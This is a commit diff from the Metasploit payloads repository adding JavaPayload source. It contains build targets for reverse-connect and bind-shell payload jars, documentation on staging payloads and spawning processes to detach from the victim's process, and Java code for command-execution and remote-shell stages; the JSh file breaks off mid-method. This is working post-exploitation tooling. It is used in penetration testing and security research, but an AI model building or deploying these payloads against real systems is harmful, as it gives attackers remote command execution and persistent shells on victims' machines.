mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-11-20 14:39:22 +01:00
add source code for javapayload, thanks mihi. see #406
git-svn-id: file:///home/svn/framework3/trunk@10075 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
9595ece04e
commit
a6c05f7aec
70
build.xml
70
build.xml
@ -1,70 +0,0 @@
|
||||
<?xml version="1.0"?>
|
||||
<project name="Meterpreter" default="jar">
|
||||
|
||||
<target name="clean">
|
||||
<delete dir="build" />
|
||||
</target>
|
||||
|
||||
<target name="compile">
|
||||
<mkdir dir="build/loader" />
|
||||
<mkdir dir="build/meterpreter" />
|
||||
<mkdir dir="build/stdapi" />
|
||||
<javac srcdir="src/loader" destdir="build/loader" source="1.1" target="1.1" debug="no">
|
||||
<include name="**/MemoryBufferURL*.java"/>
|
||||
</javac>
|
||||
<javac srcdir="src/meterpreter" destdir="build/meterpreter" source="1.1" target="1.1" debug="no">
|
||||
<classpath>
|
||||
<pathelement path="build/loader"/>
|
||||
</classpath>
|
||||
</javac>
|
||||
<javac srcdir="src/stdapi" destdir="build/stdapi" source="1.1" target="1.1" debug="no">
|
||||
<classpath>
|
||||
<pathelement path="build/loader"/>
|
||||
<pathelement path="build/meterpreter"/>
|
||||
</classpath>
|
||||
</javac>
|
||||
</target>
|
||||
|
||||
<target name="jar" depends="compile">
|
||||
<mkdir dir="extensions"/>
|
||||
<jar destfile="extensions/meterpreter.jar" basedir="build/meterpreter" />
|
||||
<jar destfile="extensions/ext_server_stdapi.jar" basedir="build/stdapi">
|
||||
<manifest>
|
||||
<attribute name="Extension-Loader" value="com.metasploit.meterpreter.stdapi.Loader"/>
|
||||
</manifest>
|
||||
</jar>
|
||||
</target>
|
||||
|
||||
<target name="fix-timestamps" depends="jar">
|
||||
<mkdir dir="extensions/tmp"/>
|
||||
<unzip src="extensions/meterpreter.jar" dest="extensions/tmp"/>
|
||||
<touch datetime="01/01/2000 00:00 AM">
|
||||
<fileset dir="extensions/tmp" includes="**/*"/>
|
||||
</touch>
|
||||
<delete file="extensions/meterpreter.jar" />
|
||||
<zip destfile="extensions/meterpreter.jar">
|
||||
<fileset dir="extensions/tmp" includes="META-INF/**" />
|
||||
<fileset dir="extensions/tmp" excludes="META-INF/**" />
|
||||
</zip>
|
||||
<delete dir="extensions/tmp"/>
|
||||
|
||||
<mkdir dir="extensions/tmp"/>
|
||||
<unzip src="extensions/ext_server_stdapi.jar" dest="extensions/tmp"/>
|
||||
<touch datetime="01/01/2000 00:00 AM">
|
||||
<fileset dir="extensions/tmp" includes="**/*"/>
|
||||
</touch>
|
||||
<delete file="extensions/ext_server_stdapi.jar" />
|
||||
<zip destfile="extensions/ext_server_stdapi.jar">
|
||||
<fileset dir="extensions/tmp" includes="META-INF/**" />
|
||||
<fileset dir="extensions/tmp" excludes="META-INF/**" />
|
||||
</zip>
|
||||
<delete dir="extensions/tmp"/>
|
||||
</target>
|
||||
|
||||
<target name="deploy" depends="fix-timestamps">
|
||||
<copy todir="../../../../data/meterpreter">
|
||||
<fileset dir="extensions">
|
||||
</fileset>
|
||||
</copy>
|
||||
</target>
|
||||
</project>
|
@ -1,8 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<classpath>
|
||||
<classpathentry kind="src" path="src/loader"/>
|
||||
<classpathentry kind="src" path="src/meterpreter"/>
|
||||
<classpathentry kind="src" path="src/stdapi"/>
|
||||
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.6"/>
|
||||
<classpathentry kind="src" path="src"/>
|
||||
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/jre6"/>
|
||||
<classpathentry kind="output" path="bin"/>
|
||||
</classpath>
|
@ -1,6 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<projectDescription>
|
||||
<name>JavaMeterpreter</name>
|
||||
<name>JavaPayload4Meterpreter</name>
|
||||
<comment></comment>
|
||||
<projects>
|
||||
</projects>
|
@ -1,4 +1,4 @@
|
||||
#Sat Jul 17 00:17:57 CEST 2010
|
||||
#Tue Aug 17 23:14:37 CEST 2010
|
||||
eclipse.preferences.version=1
|
||||
org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
|
||||
org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.1
|
BIN
java/JavaPayload4Meterpreter.jar
Normal file
BIN
java/JavaPayload4Meterpreter.jar
Normal file
Binary file not shown.
68
java/build.xml
Normal file
68
java/build.xml
Normal file
@ -0,0 +1,68 @@
|
||||
<?xml version="1.0"?>
|
||||
<project name="JavaPayload4Meterpreter" default="jar">
|
||||
|
||||
<target name="clean">
|
||||
<delete dir="build" />
|
||||
</target>
|
||||
|
||||
<target name="compile">
|
||||
<mkdir dir="build" />
|
||||
<javac srcdir="src" destdir="build" source="1.1" target="1.1" debug="no" />
|
||||
</target>
|
||||
|
||||
<target name="jar" depends="compile">
|
||||
<!-- main jar -->
|
||||
<jar destfile="JavaPayload4Meterpreter.jar" basedir="build" />
|
||||
<!-- example 1: standalone JSh -->
|
||||
<propertyfile file="build/metasploit.dat">
|
||||
<entry key="LPORT" value="0" />
|
||||
<entry key="EmbeddedStage" value="JSh"/>
|
||||
</propertyfile>
|
||||
<jar destfile="example-standalone-jsh.jar">
|
||||
<manifest>
|
||||
<attribute name="Main-Class" value="metasploit.Payload"/>
|
||||
</manifest>
|
||||
<fileset dir="build">
|
||||
<include name="metasploit/Payload.class"/>
|
||||
<include name="javapayload/stage/Stage.class"/>
|
||||
<include name="javapayload/stage/JSh*.class"/>
|
||||
<include name="metasploit.dat"/>
|
||||
</fileset>
|
||||
</jar>
|
||||
<delete file="build/metasploit.dat"/>
|
||||
<!-- example 2: reverse meterpreter (like loader.jar) -->
|
||||
<propertyfile file="build/metasploit.dat">
|
||||
<entry key="LPORT" value="4444" />
|
||||
<entry key="LHOST" value="127.0.0.1" />
|
||||
<entry key="EmbeddedStage" value="Meterpreter"/>
|
||||
</propertyfile>
|
||||
<jar destfile="example-reverse-meterpreter.jar">
|
||||
<manifest>
|
||||
<attribute name="Main-Class" value="metasploit.Payload"/>
|
||||
</manifest>
|
||||
<fileset dir="build">
|
||||
<include name="metasploit/Payload.class"/>
|
||||
<include name="javapayload/stage/Stage.class"/>
|
||||
<include name="com/metasploit/meterpreter/MemoryBufferURL*.class"/>
|
||||
<include name="javapayload/stage/Meterpreter.class"/>
|
||||
<include name="metasploit.dat"/>
|
||||
</fileset>
|
||||
</jar>
|
||||
<delete file="build/metasploit.dat"/>
|
||||
<!-- example 3: spawning bind -->
|
||||
<propertyfile file="build/metasploit.dat">
|
||||
<entry key="Spawn" value="2"/>
|
||||
<entry key="LPORT" value="5555" />
|
||||
</propertyfile>
|
||||
<jar destfile="example-spawn-bind.jar">
|
||||
<manifest>
|
||||
<attribute name="Main-Class" value="metasploit.Payload"/>
|
||||
</manifest>
|
||||
<fileset dir="build">
|
||||
<include name="metasploit/Payload.class"/>
|
||||
<include name="metasploit.dat"/>
|
||||
</fileset>
|
||||
</jar>
|
||||
<delete file="build/metasploit.dat"/>
|
||||
</target>
|
||||
</project>
|
BIN
java/example-reverse-meterpreter.jar
Normal file
BIN
java/example-reverse-meterpreter.jar
Normal file
Binary file not shown.
BIN
java/example-spawn-bind.jar
Normal file
BIN
java/example-spawn-bind.jar
Normal file
Binary file not shown.
BIN
java/example-standalone-jsh.jar
Normal file
BIN
java/example-standalone-jsh.jar
Normal file
Binary file not shown.
331
java/index.html
Normal file
331
java/index.html
Normal file
@ -0,0 +1,331 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<style type="text/css">
|
||||
body {
|
||||
font-family: Verdana, Arial, sans-serif;
|
||||
font-size: 10pt;
|
||||
}
|
||||
|
||||
p {
|
||||
margin-left: 2em;
|
||||
margin-right: 2em;
|
||||
}
|
||||
</style>
|
||||
<title>JavaPayload4Metasploit - Single payload loader class to
|
||||
be used in the Metasploit project</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>JavaPayload4Metasploit - Single payload loader class to be used
|
||||
in the Metasploit project</h1>
|
||||
|
||||
<p><i>© 2010 Michael 'mihi' Schierl, <tt><schierlm
|
||||
at users dot sourceforge dot net></tt></i></p>
|
||||
|
||||
<h2>Introduction</h2>
|
||||
|
||||
<p>The <a href="http://schierlm.users.sourceforge.net/JavaPayload/">JavaPayload</a>s
|
||||
contain useful payloads written in pure Java. But they assume that the
|
||||
attacker has a Java VM on his machine, as the the builders and stage
|
||||
handlers are written in Java. In addition, when creating a new payload
|
||||
class that should reside in a signed jar, the jar has to be re-signed as
|
||||
classes have changed.</p>
|
||||
|
||||
<p>In contrast, this package contains a single <i>metasploit.Payload</i>
|
||||
class which is configured by a property file in the classpath (i. e. in
|
||||
the same jar). As it is possible to add unsigned resources to a jar
|
||||
without requiring to re-sign it, and as it is easy to manipulate zip/jar
|
||||
files from Ruby, this makes it possible to leverage the powers of
|
||||
JavaPayload from Metasploit which is written in Ruby and not in Java.</p>
|
||||
|
||||
<h2>System requirements</h2>
|
||||
|
||||
<p>Same as JavaPayload. JRE 1.2 on the victim machine is enough <tt>:-)</tt></p>
|
||||
|
||||
<p>On the attacker machine, no Java at all is required.</p>
|
||||
|
||||
<h2>How to use the <i>Payload</i> class.</h2>
|
||||
|
||||
<p>The <i>Payload</i> class is (among a collection of JavaPayload
|
||||
stage classes) stored inside <tt>JavaPayload4Meterpreter.jar</tt>.</p>
|
||||
|
||||
<p>It is a standard java main class (i. e. it has a <tt>public
|
||||
static void main(String[])</tt> method), so the most obvious way to invoke it
|
||||
is putting it into a Jar file whose manifest's <tt>Main-Class</tt>
|
||||
attribute is <tt>metasploit.Payload</tt>. The resuling jar can be
|
||||
started using <tt>java -jar jarfile.jar</tt>. There are 3 example jars
|
||||
available that use this technique; they are described later.</p>
|
||||
|
||||
<p>Alternatively, the main class can of course be called from other
|
||||
classes, like <tt>metasploit.Payload.main(null);</tt>, as the arguments
|
||||
parameter is ignored. Note that in a sandboxed environment the caller
|
||||
needs to have all permissions, and also the <i>Payload</i> class has to
|
||||
be loaded with all permissions. In case there is untrusted code on the
|
||||
stack trace (but the direct caller has all permissions), the call has to
|
||||
be wrapped in a <a
|
||||
href="http://download.oracle.com/javase/1.4.2/docs/api/java/security/AccessController.html#doPrivileged(java.security.PrivilegedExceptionAction)">doPrivileged</a>
|
||||
call (like it is done in the several well known public exploits for
|
||||
CVE-2008-5353).</p>
|
||||
|
||||
<p>Once loaded, the class will lookup a file called <tt>/metasploit.dat</tt>
|
||||
from the class path and load it as a <a
|
||||
href="http://download.oracle.com/javase/1.4.2/docs/api/java/util/Properties.html#load(java.io.InputStream)">Property
|
||||
file</a> (basically a text file with <tt>Name=value</tt> lines, but note
|
||||
that some special characters need escaping). If the file cannot be
|
||||
found, default values are used.</p>
|
||||
|
||||
<p>Depending on the property values (see below), the class will then
|
||||
optionally write itself to disk and spawn a sub-process (once or several
|
||||
times) to disconnect the payload from the calling process. All temporary
|
||||
files will be deleted afterwards. (Even on Windows it is possible to
|
||||
delete a running class file as technically, not the class file but the
|
||||
Java VM is running).</p>
|
||||
|
||||
<p>After that, it will either listen on a port and accept a socket,
|
||||
create an active socket connection, or (for debugging purposes) just
|
||||
uses standard input and standard output; in any case, the resulting
|
||||
input/output streams are used for the staging</p>
|
||||
|
||||
<p>The property file can configure an <i>embedded stage</i> which
|
||||
will be loaded directly from the current classloader (i. e. JAR). Note
|
||||
that this feature cannot be used from a sub-process, as the rest of the
|
||||
JAR file will not be available any longer there.</p>
|
||||
|
||||
<p>If no embedded stage is configured, the stage is loaded from the
|
||||
input stream instead (see below for the data format).</p>
|
||||
|
||||
<p>Once the stage is loaded, the streams are handed to the stage.
|
||||
Stages may require optional parameters (a string) which can be given
|
||||
either in the property file or by using the <tt>SendParameters</tt>
|
||||
stage from JavaPayload.</p>
|
||||
|
||||
<p>When the stage quits, the payload class terminates and cleans up
|
||||
after itself if needed.</p>
|
||||
|
||||
<h2>Supported properties (and their default values)</h2>
|
||||
|
||||
<h3><tt>Spawn</tt>(<tt>=0</tt>)</h3>
|
||||
|
||||
<p>The number of java processes that should be spawned. <tt>0</tt>
|
||||
will run the payload inside the original process, <tt>1</tt> will spawn
|
||||
once (to continue running when the original process terminates), and <tt>2</tt>
|
||||
will spawn twice (on certain popular operating systems it is impossible
|
||||
to obtain parent process informaion if the parent process has already
|
||||
died).</p>
|
||||
|
||||
<h3><tt>EmbeddedStage</tt>(<tt>=</tt>)</h3>
|
||||
|
||||
<p><b>Note: </b> this option will not work with the <tt>Spawn</tt>
|
||||
option!</p>
|
||||
|
||||
<h3><tt>StageParameters</tt>(<tt>=</tt>)</h3>
|
||||
|
||||
<p>Additional parameters to be used by the stage, regardless whether
|
||||
it was embedded or not. Only few stages support/require parameters.</p>
|
||||
|
||||
<h3><tt>LPORT</tt>(<tt>=4444</tt>)</h3>
|
||||
|
||||
<p>Port to listen on or to connect to (if <tt>LHOST</tt> is also
|
||||
set). If explicitly set to <tt>0</tt>, no connection will be made, but
|
||||
standard input/output streams will be used instead.</p>
|
||||
|
||||
<h3><tt>LHOST</tt>(<tt>=<a></a></tt>)</h3>
|
||||
|
||||
<p>Host to connect to. If not set, the payload will listen instead.</p>
|
||||
|
||||
<h2>Staging protocol</h2>
|
||||
|
||||
<p>The staging protocol is quite simple. All classes are sent
|
||||
uncompressed (as they are inside the .jar file). Each class is prefixed
|
||||
by a 32-bit big-endian size. After the last class, a size of 0 is sent.
|
||||
The classes will be defined in the order they are sent (i. e. they can
|
||||
only refer to classes defined before), and the last sent class will be
|
||||
loaded as a stage.</p>
|
||||
|
||||
<p>In case of an embedded stage, no staging is used - the stream is
|
||||
directly passed to the stage.</p>
|
||||
|
||||
<h2>Supported stages (in alphabetical order)</h2>
|
||||
|
||||
<p>The stages are original <a
|
||||
href="http://schierlm.users.sourceforge.net/JavaPayload/">JavaPayload</a>
|
||||
stages to make updates easier. All stages listed here can be used
|
||||
without special "Java" tricks (like serialization or JDWP protocol), to
|
||||
easily use them from Ruby.</p>
|
||||
|
||||
<h3><tt>Exec</tt></h3>
|
||||
<dl>
|
||||
<dt><b>Stage classes</b></dt>
|
||||
<dd>javapayload.stage.Stage, javapayload.stage.StreamForwarder,
|
||||
javapayload.stage.Exec</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Parameters</b></dt>
|
||||
<dd><tt><b>Exec</b> <i>commandline</i></tt></dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Stage protocol</b></dt>
|
||||
<dd>raw Input/output streams</dd>
|
||||
</dl>
|
||||
|
||||
<p>Execute an executable on the target machine and forward streams.
|
||||
Stdout and Stderr are merged automatically.</p>
|
||||
|
||||
<h3><tt>JSh</tt></h3>
|
||||
<dl>
|
||||
<dt><b>Stage classes</b></dt>
|
||||
<dd>javapayload.stage.Stage, javapayload.stage.JShSignalSender,
|
||||
javapayload.stage.JShStreamForwarder, javapayload.stage.JSh</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Parameters</b></dt>
|
||||
<dd>Not supported</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Stage protocol</b></dt>
|
||||
<dd>Plain text</dd>
|
||||
</dl>
|
||||
|
||||
<p>A simple shell written in pure Java.</p>
|
||||
|
||||
<pre>Supported commands:
|
||||
help - show this help
|
||||
info - list system properties
|
||||
pwd - show current directory
|
||||
cd - change directory
|
||||
ls - list directory
|
||||
exec - execute native command
|
||||
cat - show text file
|
||||
wget - download file
|
||||
telnet - create TCP connection
|
||||
paste - create text file
|
||||
jobs - list or continue jobs
|
||||
exit - Exit JSh</pre>
|
||||
|
||||
|
||||
<h3><tt>Meterpreter</tt></h3>
|
||||
<dl>
|
||||
<dt><b>Stage classes</b></dt>
|
||||
<dd>javapayload.stage.Stage,
|
||||
com.metasploit.meterpreter.MemoryBufferURLConnection,
|
||||
com.metasploit.meterpreter.MemoryBufferURLStreamHandler,
|
||||
javapayload.stage.Meterpreter</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Parameters</b></dt>
|
||||
<dd>Optional parameter <tt>NoRedirect</tt> for debugging.</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Stage protocol</b></dt>
|
||||
<dd>Meterpreter protocol</dd>
|
||||
</dl>
|
||||
|
||||
<p>Loader to load the Java version of Metasploit's own
|
||||
post-exploitation toolkit.</p>
|
||||
|
||||
<h3><tt>SendParameters</tt></h3>
|
||||
<dl>
|
||||
<dt><b>Stage classes</b></dt>
|
||||
<dd><i>all classes needed by the stage to use</i>,
|
||||
javapayload.stage.SendParameters</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Parameters</b></dt>
|
||||
<dd>Not supported</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Stage protocol</b></dt>
|
||||
<dd>First transfer of parameters, then as the stage to use</dd>
|
||||
</dl>
|
||||
|
||||
<p>"Intermediate" stage that can be used to change the stage
|
||||
parameters in cases where they cannot be cast in stone when the payload
|
||||
is built.</p>
|
||||
|
||||
<p>After sending the stage, but before sending data for the stage,
|
||||
you have to send the parameters:</p>
|
||||
|
||||
<p>The parameters start with a unsigned big-endian 16-bit integer
|
||||
that specifies the number of parameters. Then each parameter is sent in
|
||||
Java's <a
|
||||
href="http://download.oracle.com/javase/1.4.2/docs/api/java/io/DataInput.html#readUTF()">modified
|
||||
UTF string format</a>. After that, the actual data for the stage can be
|
||||
sent.</p>
|
||||
|
||||
<h3><tt>Shell</tt></h3>
|
||||
<dl>
|
||||
<dt><b>Stage classes</b></dt>
|
||||
<dd>javapayload.stage.Stage, javapayload.stage.StreamForwarder,
|
||||
javapayload.stage.Exec</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Parameters</b></dt>
|
||||
<dd>Not supported</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Stage protocol</b></dt>
|
||||
<dd>Plain text</dd>
|
||||
</dl>
|
||||
|
||||
<p>This stager loads /bin/sh on Unix systems and cmd.exe on Windows
|
||||
systems, and else just behaves like the <tt>Exec</tt> stage.</p>
|
||||
|
||||
<h3><tt>SystemInfo</tt></h3>
|
||||
<dl>
|
||||
<dt><b>Stage classes</b></dt>
|
||||
<dd>javapayload.stage.Stage, javapayload.stage.SystemInfo</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Parameters</b></dt>
|
||||
<dd>Not supported</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Stage protocol</b></dt>
|
||||
<dd>Plain text</dd>
|
||||
</dl>
|
||||
|
||||
<p>This stage just returns some system and network information. The
|
||||
input stream is ignored. Useful as an embedded stage for automatic data
|
||||
gathering with <tt>netcat</tt>, but not useful for anything else.</p>
|
||||
|
||||
<h3><tt>UpExec</tt></h3>
|
||||
<dl>
|
||||
<dt><b>Stage classes</b></dt>
|
||||
<dd>javapayload.stage.Stage, javapayload.stage.StreamForwarder,
|
||||
javapayload.stage.UpExec</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Parameters</b></dt>
|
||||
<dd><b>UpExec</b> <i>program_name</i> <i>arguments</i></dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Stage protocol</b></dt>
|
||||
<dd>raw Input/output streams</dd>
|
||||
</dl>
|
||||
|
||||
<p>Acts like exec, just that the a file can be uploaded first
|
||||
(stored with a random file name) which will be executed with parameters.</p>
|
||||
|
||||
<p>The file is uploaded directly after uploading the stage classes,
|
||||
prefixed by a 32-bit big-endian integer size value.</p>
|
||||
|
||||
<h2>Included example jars</h2>
|
||||
|
||||
<h3><tt>example-reverse-meterpreter.jar</tt></h3>
|
||||
|
||||
<p>Will connect back to metasploit at localhost:4444. and try to
|
||||
bootstrap meterpreter (via an embedded stage). Except for the hard-coded
|
||||
address in the property file, it acts like <i>loader.jar</i>.</p>
|
||||
|
||||
<h3><tt>example-spawn-bind.jar</tt></h3>
|
||||
|
||||
<p>Will spawn 2 Java processes and then listen on port 5555 for
|
||||
incoming connections. No embedded stages.</p>
|
||||
|
||||
<h3><tt>example-standalone-jsh.jar</tt></h3>
|
||||
|
||||
<p>Will run JSh on stdin/stdout. Example for the stdin/stdout
|
||||
feature and useful for testing JSh easily.</p>
|
||||
|
||||
</body>
|
||||
</html>
|
60
java/src/javapayload/stage/Exec.java
Normal file
60
java/src/javapayload/stage/Exec.java
Normal file
@ -0,0 +1,60 @@
|
||||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
public class Exec implements Stage {
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||
for (int i = 0; i < parameters.length; i++) {
|
||||
if (parameters[i].equals("--")) {
|
||||
// separator found. The next parameter will be the module name, and
|
||||
// all remaining parameters are for exec.
|
||||
final String[] cmdarray = new String[parameters.length - i - 2];
|
||||
System.arraycopy(parameters, i + 2, cmdarray, 0, cmdarray.length);
|
||||
final Process proc = Runtime.getRuntime().exec(cmdarray);
|
||||
new StreamForwarder(in, proc.getOutputStream(), out).start();
|
||||
new StreamForwarder(proc.getInputStream(), out, out).start();
|
||||
new StreamForwarder(proc.getErrorStream(), out, out).start();
|
||||
proc.waitFor();
|
||||
in.close();
|
||||
out.close();
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
346
java/src/javapayload/stage/JSh.java
Normal file
346
java/src/javapayload/stage/JSh.java
Normal file
@ -0,0 +1,346 @@
|
||||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.io.PipedInputStream;
|
||||
import java.io.PipedOutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.net.Socket;
|
||||
import java.net.URL;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Enumeration;
|
||||
import java.util.List;
|
||||
|
||||
public class JSh implements Stage, Runnable {
|
||||
|
||||
// each job is an Object[] to avoid a pure data class
|
||||
// job[0] = name (String)
|
||||
// job[1] = raw object (Socket or Process or Stream) for closing
|
||||
// job[2] = OutputStream to forward user input to
|
||||
// job[3..length-1] = JshStreamForwarders to redirect output
|
||||
private final List jobs = new ArrayList();
|
||||
|
||||
private PipedOutputStream signalStream;
|
||||
private InputStream originalIn;
|
||||
private PrintStream pout;
|
||||
|
||||
/**
|
||||
* Forward data from one stream to another. Closes the input stream but not the output stream!
|
||||
*/
|
||||
private void forward(InputStream in, OutputStream out) throws IOException {
|
||||
final byte[] buf = new byte[4096];
|
||||
int len;
|
||||
while ((len = in.read(buf)) != -1) {
|
||||
out.write(buf, 0, len);
|
||||
if (in.available() == 0) {
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
in.close();
|
||||
}
|
||||
|
||||
private boolean forwardEscapable(InputStream in, Object[] job) throws IOException {
|
||||
final OutputStream out = (OutputStream) job[2];
|
||||
int b;
|
||||
boolean startOfLine = true, tilde = false, interrupted = true;
|
||||
while (true) {
|
||||
if (interrupted && job.length > 3) {
|
||||
boolean allFinished = true;
|
||||
for (int i = 3; i < job.length; i++) {
|
||||
if (!((JShStreamForwarder) job[i]).isFinished()) {
|
||||
allFinished = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (allFinished) {
|
||||
pout.println("Finished: " + job[0]);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
interrupted = false;
|
||||
if ((b = in.read()) != -1) {
|
||||
if (b == 0) {
|
||||
b = in.read();
|
||||
if (b != 0) {
|
||||
interrupted = true;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (startOfLine && b == '~') {
|
||||
tilde = true;
|
||||
} else if (tilde && b == '&') {
|
||||
return true;
|
||||
} else if (tilde && b == '.') {
|
||||
return false;
|
||||
} else {
|
||||
if (tilde && b != '~') {
|
||||
out.write('~');
|
||||
}
|
||||
out.write(b);
|
||||
if (in.available() == 0) {
|
||||
out.flush();
|
||||
}
|
||||
tilde = false;
|
||||
}
|
||||
startOfLine = (b == '\r' || b == '\n');
|
||||
} else {
|
||||
// our control connection has died...
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void handleBackgroundJob(DataInputStream in, Object[] job) throws Exception {
|
||||
pout.println("Press ~& to suspend, ~. to stop job.");
|
||||
for (int i = 3; i < job.length; i++) {
|
||||
((JShStreamForwarder) job[i]).pauseForwarding(false);
|
||||
}
|
||||
if (forwardEscapable(in, job)) {
|
||||
for (int i = 3; i < job.length; i++) {
|
||||
((JShStreamForwarder) job[i]).pauseForwarding(true);
|
||||
}
|
||||
jobs.add(job);
|
||||
pout.println("Job suspended, see 'jobs'.");
|
||||
} else {
|
||||
for (int i = 3; i < job.length; i++) {
|
||||
((JShStreamForwarder) job[i]).stopForwarding();
|
||||
}
|
||||
if (job[1] instanceof Socket) {
|
||||
((Socket) job[1]).close();
|
||||
} else if (job[1] instanceof Process) {
|
||||
((Process) job[1]).destroy();
|
||||
} else {
|
||||
((OutputStream) job[1]).close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
try {
|
||||
int b;
|
||||
while ((b = originalIn.read()) != -1) {
|
||||
signalStream.write(b);
|
||||
if (b == 0) {
|
||||
signalStream.write(b);
|
||||
}
|
||||
if (originalIn.available() == 0) {
|
